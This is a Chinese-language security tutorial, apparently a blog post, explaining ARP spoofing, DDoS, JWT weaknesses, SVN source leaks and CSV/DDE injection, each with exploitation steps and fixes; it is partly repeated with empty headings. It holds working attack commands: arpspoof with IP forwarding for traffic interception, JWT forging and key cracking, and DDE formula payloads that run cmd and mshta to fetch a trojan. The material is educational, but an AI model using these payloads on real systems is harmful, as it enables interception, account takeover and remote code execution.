一、ARP欺骗1.1 ARP协议简介(Address Resolution Protocol)地址解析协议,是根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到局域网上的所有主机,并接收返回消息,以此确定目标的物理地址;收到返回消息后将该IP地址和物理地址存入本机ARP缓存并保留一定时间,下次请求时直接查询ARP缓存以节约资源。地址解析协议是建立在网络中各个主机互相信任的基础上,局域网络上的主机可以自主发送ARP应答消息,其他主机收到应答报文时不会检测该报文的真实性就会将其计入本机ARP缓存;由此攻击者就可以向某一个主机发送伪ARP应答报文,使其发送的信息无法到达预期的主机或到达错误的主机,这就构成了一个ARP欺骗。ARP命令可用于查询本机ARP缓存中IP地址和MAC地址的对应关系、添加或删除静态对应关系等。1.2 漏洞详情基于ARP协议的网络通信机制;通信双方都需要知道对方的MAC地址才能正常通信。ARP欺骗利用这一机制,伪造源MAC地址和IP地址,给其他主机发送虚假的ARP应答包,这样网络中的其他设备将数据包发送到攻击者指定的IP地址时,数据包就会被截获,从而引发流量劫持、窃听、拦截和中间人攻击等安全问题。中间人攻击就是,用ARP欺骗受害主机将流量发送到攻击者主机上,然后由攻击者主机再将流量转发出去,从而获得受害主机与其他网站传输的信息。1.3 漏洞利用fping -asg 102.168.10.0/24 扫描指定网段的主机,确定攻击目标的arpspoof -i 网卡 -t 受害IP 网关 -i 指定网络接口,即通过哪个网卡进行ARP攻击-t 受害IP:指定受害主机,将它的流量重定向到攻击机网关IP:指定网关IP,即将来自受害者的流量转发到这个网关此时对方会断网,因为转发还未设置。通过一下命令实现流量转发echo 1>/proc/sys/net/ipv4/ip_forward然后就可以通过wireshark查看受害者主机的网络通信。1.4 防御措施使用静态ARP表;在网络中手动添加ARP条目。使用端口安全(Port Security);将网络接口绑定到特定的MAC地址,避免攻击者插入非法设备;使用VPN(Virtual Private Network);加密数据通信,避免数据被攻击者嗅探。使用互联网防火墙:限制网络的出口流量,以减少攻击者能够的活动空间。二、DDoS攻击2.1 DDoS简介DDOS攻击本质就是通过发送大量的请求占用目标服务器或网络资源,使其无法正常运行。2.2 原理攻击者通过软件漏洞、社会工程学等方式植入恶意代码(例如:木马)到互联网上的多台计算机或设备中,这些计算机或啊设备才被称为“僵尸网络”或“肉鸡”;攻击者将这些被感染的计算机或设备组成一个“僵尸网络”,通常也称之为“屠龙工具包”或“僵尸集群”;一旦攻击者想要发起DDoS攻击,他们会控制“僵尸网络”中的每个计算机或设备,让它们同时向目标服务器或网络发送大量数据包。这些数据包可能是特定类型的请求。例如:HTTP GET请求,或是仅带有大量无效数据的数据包;目标服务器或网络收到了大量来自不同IP地址的请求,它无法正常处理这些请求,导致网络瘫痪。因为“僵尸网络”中的计算机或设备可能都不存在同一地域都有不同的IP。实施DDoS攻击的期间,攻击者通常会尝试多种不同的攻击方式和方法,以增加攻击效果。2.3 防御方法首先是考虑能不能先去引流,就是把流量引到阿里云、腾讯云、百度云这些厂商,我流量过一遍再引回到自己这里。使用DDoS防护软件或服务:这些软件或服务通常会检测和过滤掉袭击者发送的恶意流量,并仅将有效的数据包传递到目标服务器或网络提高网络安全性:建立坚固的防火墙和入侵检测系统(IDS)来限制未经授权的访问和监视网络上的异常行为升级硬件、软件、固件:确保您的网络和系统硬件、软件和固件有更新和最新版本。配置合适的网络带宽:增加可用的网络带宽可分散恶意流量,并缓解DDoS攻击的影响。控制能够访问网络的设备:通过限制对网络的物理接入并实施更强的身份验证来下限制差旅设备。培训员工:支持管理人员和员工了解常见的网络钓鱼、社交工程学和其他类型的网络攻击以及如何避免他们三、JWT 漏洞3.1 JWT 简介JWT(JSON Web Token)是WEB上用于确认客户端和服务器用户身份认证的Token令牌,保存了用户的登录信息。用户登录,由服务端用加密算法对JWT进行签发,前端发送带有用户信息的JWT由服务端校验(用户名、失效等信息),并将令牌保存在前端本地。令牌采用Base64编码,并由三部分组成,分别使用 . 分隔示例:Encode:Markdown複製eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9. eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ. SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5cDecode:JSON複製 { "alg":"HS256","typ":"JWT" } { "sub":"1234567890","name":"John Doe","iat":1516239022 } HMACSHA256( base64UrlEncode(header)+"."+ base64UrlEncode(payload). your-256-bit-secret )3.1.1 头部(Header)JWT元数据的JSON对象"alg":"HS256" 签名使用过的算法"typ":"JWT" Token的类型为JWT3.1.2 声明(Payload)主体内容部分,跟 H5 body 一样,不过JWT默认只有7个参数iss:JWT签发人exp:用户认证的失效时间(大于签发时间)sub:主题aud:用户nbf:定义此时间之前,该JWT不可用iat:JWT签发时间jti:JWT ID 身份标识3.1.3 签名(Signature)签名是对上面两个部分做哈希数据签名(指定算法),来确保数据不会被篡改,保证数据的完整性校验。需要使用Base64编码后额Header和Payload数据。此部分保存在服务端。JSON複製HMACSHA256( base64UrlEncode(header)+"."+ base64UrlEncode(payload). your-256-bit-secret 密钥值 )在HTTP传输过程中,Base64编码中的“ = ”,“ + ”,“ / ”等特殊符号通过URL解码通常会产生歧义,在Base64 url编码中,“+”会变成“ - ”,“ / ”会变成“ _ ”,“ = ”会被去掉,以此达到url safe的目的。3.1.4 JWT支持的加密算法HMACHMAC加密主要使用对称密钥,该密钥在生成令牌时被存储在服务器端。HMAC基于哈希加密算法,通过哈希函数和密钥组合来生成一个消息摘要,并使其不可被篡改。RSARSA 加密主要使用公钥/私钥对,其中公钥是用于加密信息的,而私钥则用于解密信息。RSA加密模式可以使用公钥加密JWT中的数据,然后使用私钥来验证JWT签名。ECDSAECDSA是一种签名算法,它使用椭圆曲线来实现数字签名,ECDSA与RSA相比,更适合在移动设备上进行数字签名。EdDSA是一种基于椭圆曲线密码学的数字签名算法,被广泛应用于高度安全的系统中。AES-GCM这是一种对称加密算法,可以为数据提供完整性保护和机密性保护。RSASSA-PSSPBES2:这是一种基于密码的加密方式,它使用密码与密钥派生函数来处理数据。PBES2支持多个加密模式和哈希算法A128KW、A192KW、A256KW这些是用于连接JWE(JSON Web Encryption)标头的AES Key Wrap算法。它们可以确保在传输加密JSON对象时提供完整性和保密性。A128GCMKW、A192GCMKW、A256GCMKW这些是另一种用于连接JWE(JSON Web Encryption)标头的AES Key Wrap算法。他们与上面得AES Key Wrap算法不同,因为它们使用了更安全和更快速的加密块模式。3.2 签名的生成对头部和载荷的JSON数据进行Base64编码,形成两个字符串将两个字符串用“ . ”连接起来,组成JWT完整的未签名令牌。根据所选的算法和密钥,对令牌进行数字签名计算。将签名加入到JWT中,构成一个新的JWT令牌。发送者在发送请求时,将JWT放到HTTP请求的 Authorization 首部中或请求体(POST、PUT等),并且在首部中声明使用的是那种签名类型。接收方在收到JWT后提取其中的头部、载荷和签名信息并根据公钥与相对应的验证规则完成对JWT的验证过程,以判断该JWT是否可信。3.3 漏洞详情准确来说JWT本身没有漏洞,它的问题主要与它的签名算法有关,当它的签名算法存在弱点时(比如:密钥泄露、密钥易被爆破等),可能造成被攻击者修改JWT令牌中的声明(Payload),然后将其重新进行Base64编码,并加密生成签名,从而造成越权、注入等漏洞。(注入的原理是,JWT令牌传送的就是一些JSON键值对,当用户可以操作其中的参数。且服务器未对其输入进行过滤就带去SQL时,就可能造成注入漏洞。)(越权就更好理解了,将代表用用户权限的部分修改为其他权限 如:管理员)3.4 漏洞利用3.4.1 服务器未做签名校验使用BurpSuite拦截流量包,将其中的JWT令牌复制出来,放到BurpSuite扩展工具 JSON Web Token中,将其解码。修改其中可能存在漏洞的参数,如:表示用户权限的参数、用户ID使用Base64编码,并替换其中的“+”-->“ - ”,“/”--> “_”,删除“ = ”,将其拼接成新的JWT令牌,并替换原有令牌后发送即可。3.4.2 服务器进行了签名校验使用BurpSuite获取JWT令牌,并使用工具(jwtcrack)爆破密钥,加密方法可以从其头部的alg中查看,此工具只支持HS256、HS384、HS512,能不能成功取决于你的字典。破解出密码后的利用方式,与上面一样,只是在生成Base64编码后将其使用相同的加密方式和密钥进行加密,形成签名,并将其替换原有签名然后发送即可。3.5 漏洞修复将JWT存储为HttpOnly的Cookie,确保只有服务器可以读取该Cookie定期更换JWT密钥,减小JWT被攻破的风险。另外不要再JWT中存储敏感信息或私密信息,尽量只存储非敏感的基础信息。四、SVN源码泄露4.1 SVN简介SVN是Subversion的缩写,是一种流行的版本控制系统。它允许多个开发人员在同一个文件或项目上协作,并管理、修改、分支、合并等操作,以确保软件开发的顺利进行。使用SVN管理本地代码的过程中,会生成一个名为.svn的隐藏文件夹,其中包含重要源码信息。4.2 漏洞原理该漏洞通常是由于SVN服务器配置不当、漏洞未及时修复或利用其他漏洞入侵服务器并获取源代码所导致的。攻击者可以通过目录遍历、扫描等方法获得SVN仓库的URL此外,如果SVN服务器未经适当的身份验证、授权和访问限制,则攻击者甚至可以在未登录的情况下直接下载SVN仓库的源代码。当SVN仓库的源代码遭到泄漏时,攻击者可能会利用其中的代码片段来发起恶意攻击或窃取敏感数据,这对开发团队和企业都具有很大的危险性。4.3 漏洞利用主要通过svnExploit和Seay-svn工具dump源码4.4 修复建议对SVN服务器进行严格的身份验证和权限控制。配合合适的防火墙规则、日志监测和溯源机制。实时跟踪最新的安全漏洞,并及时更新SVN服务器的相关补丁与防护措施。在SVN服务区及开发环境中加强安全检查,避免源码泄露的风险。五、CSV注入(DDE)5.1 漏洞详情漏洞通常会出现在有导出文件(.csv/.xls)功能的网站中。当导出的文件内容可控时,攻击者通常将恶意负载(公式)注入到输入字段中,用户导出文件打开后,EXCEL会调用本身的动态功能,执行攻击者的恶意代码,从而控制计算机。5.2 漏洞原理这个漏洞主要利用了用户可以控制的可输出到CSV文件中的内容导致的。当用户输入恶意内容时,可能导致受害者Excel通过DDE执行用户输入的命令。5.3 漏洞利用找到会输出到CSV文件中的可控参数,输入Payload,等待受害者下载文件,并点两次确定,即可实现命令执行注意:受害者需要在Excel选项中开启DDE,否则会报错要求受害者开启DDE,这个选项是默认关闭的。Payload:=1+cmd|'/C 命令'!A01和A0可以替换为其他,A0是单元格=1+cmd|'/C mshta https://www.baidu.com'!A0使用CMD执行mshta命令访问指定网址,这里可以下载自己的木马mshta是Windows系统自带的一个可执行文件,它是HTML应用程序的一种运行方式,可以理解成它会打开一个浏览器,在以管理员身份运行MSHTA时,可以使用其强大的功能执行系统级任务。=1+cmd|'/C calc'!A0打开计算器5.4 修复建议禁止用户输入'=' '-' '+' '@' 这类符号如果需要显示这些符号,可以默认在这些付好钱加上单引号,在Excel中这意味着此单元格不包含公式,同时引号本身并不会显示出来。
一、ARP欺骗
1.1 ARP协议简介(Address Resolution Protocol)
地址解析协议,是根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到局域网上的所有主机,并接收返回消息,以此确定目标的物理地址;收到返回消息后将该IP地址和物理地址存入本机ARP缓存并保留一定时间,下次请求时直接查询ARP缓存以节约资源。
地址解析协议是建立在网络中各个主机互相信任的基础上,局域网络上的主机可以自主发送ARP应答消息,其他主机收到应答报文时不会检测该报文的真实性就会将其计入本机ARP缓存;
由此攻击者就可以向某一个主机发送伪ARP应答报文,使其发送的信息无法到达预期的主机或到达错误的主机,这就构成了一个ARP欺骗。
ARP命令可用于查询本机ARP缓存中IP地址和MAC地址的对应关系、添加或删除静态对应关系等。
1.2 漏洞详情
基于ARP协议的网络通信机制;通信双方都需要知道对方的MAC地址才能正常通信。
ARP欺骗利用这一机制,伪造源MAC地址和IP地址,给其他主机发送虚假的ARP应答包,这样网络中的其他设备将数据包发送到攻击者指定的IP地址时,数据包就会被截获,从而引发流量劫持、窃听、拦截和中间人攻击等安全问题。
中间人攻击就是,用ARP欺骗受害主机将流量发送到攻击者主机上,然后由攻击者主机再将流量转发出去,从而获得受害主机与其他网站传输的信息。
1.3 漏洞利用
1.4 防御措施
二、DDoS攻击
2.1 DDoS简介
DDOS攻击本质就是通过发送大量的请求占用目标服务器或网络资源,使其无法正常运行。
2.2 原理
2.3 防御方法
首先是考虑能不能先去引流,就是把流量引到阿里云、腾讯云、百度云这些厂商,我流量过一遍再引回到自己这里。
三、JWT 漏洞
3.1 JWT 简介
JWT(JSON Web Token)是WEB上用于确认客户端和服务器用户身份认证的Token令牌,保存了用户的登录信息。用户登录,由服务端用加密算法对JWT进行签发,前端发送带有用户信息的JWT由服务端校验(用户名、失效等信息),并将令牌保存在前端本地。
令牌采用Base64编码,并由三部分组成,分别使用 . 分隔
示例:
Encode:
Decode:
3.1.1 头部(Header)
3.1.2 声明(Payload)
主体内容部分,跟 H5 body 一样,不过JWT默认只有7个参数
3.1.3 签名(Signature)
在HTTP传输过程中,Base64编码中的“ = ”,“ + ”,“ / ”等特殊符号通过URL解码通常会产生歧义,在Base64 url编码中,“+”会变成“ - ”,“ / ”会变成“ _ ”,“ = ”会被去掉,以此达到url safe的目的。
3.1.4 JWT支持的加密算法
3.2 签名的生成
3.3 漏洞详情
准确来说JWT本身没有漏洞,它的问题主要与它的签名算法有关,当它的签名算法存在弱点时(比如:密钥泄露、密钥易被爆破等),可能造成被攻击者修改JWT令牌中的声明(Payload),然后将其重新进行Base64编码,并加密生成签名,从而造成越权、注入等漏洞。
(注入的原理是,JWT令牌传送的就是一些JSON键值对,当用户可以操作其中的参数。且服务器未对其输入进行过滤就带去SQL时,就可能造成注入漏洞。)
(越权就更好理解了,将代表用用户权限的部分修改为其他权限 如:管理员)
3.4 漏洞利用
3.4.1 服务器未做签名校验
3.4.2 服务器进行了签名校验
3.5 漏洞修复
四、SVN源码泄露
4.1 SVN简介
SVN是Subversion的缩写,是一种流行的版本控制系统。它允许多个开发人员在同一个文件或项目上协作,并管理、修改、分支、合并等操作,以确保软件开发的顺利进行。
使用SVN管理本地代码的过程中,会生成一个名为.svn的隐藏文件夹,其中包含重要源码信息。
4.2 漏洞原理
该漏洞通常是由于SVN服务器配置不当、漏洞未及时修复或利用其他漏洞入侵服务器并获取源代码所导致的。
攻击者可以通过目录遍历、扫描等方法获得SVN仓库的URL
此外,如果SVN服务器未经适当的身份验证、授权和访问限制,则攻击者甚至可以在未登录的情况下直接下载SVN仓库的源代码。
当SVN仓库的源代码遭到泄漏时,攻击者可能会利用其中的代码片段来发起恶意攻击或窃取敏感数据,这对开发团队和企业都具有很大的危险性。
4.3 漏洞利用
主要通过svnExploit和Seay-svn工具dump源码
4.4 修复建议
五、CSV注入(DDE)
5.1 漏洞详情
漏洞通常会出现在有导出文件(.csv/.xls)功能的网站中。当导出的文件内容可控时,攻击者通常将恶意负载(公式)注入到输入字段中,用户导出文件打开后,EXCEL会调用本身的动态功能,执行攻击者的恶意代码,从而控制计算机。
5.2 漏洞原理
这个漏洞主要利用了用户可以控制的可输出到CSV文件中的内容导致的。当用户输入恶意内容时,可能导致受害者Excel通过DDE执行用户输入的命令。
5.3 漏洞利用
5.4 修复建议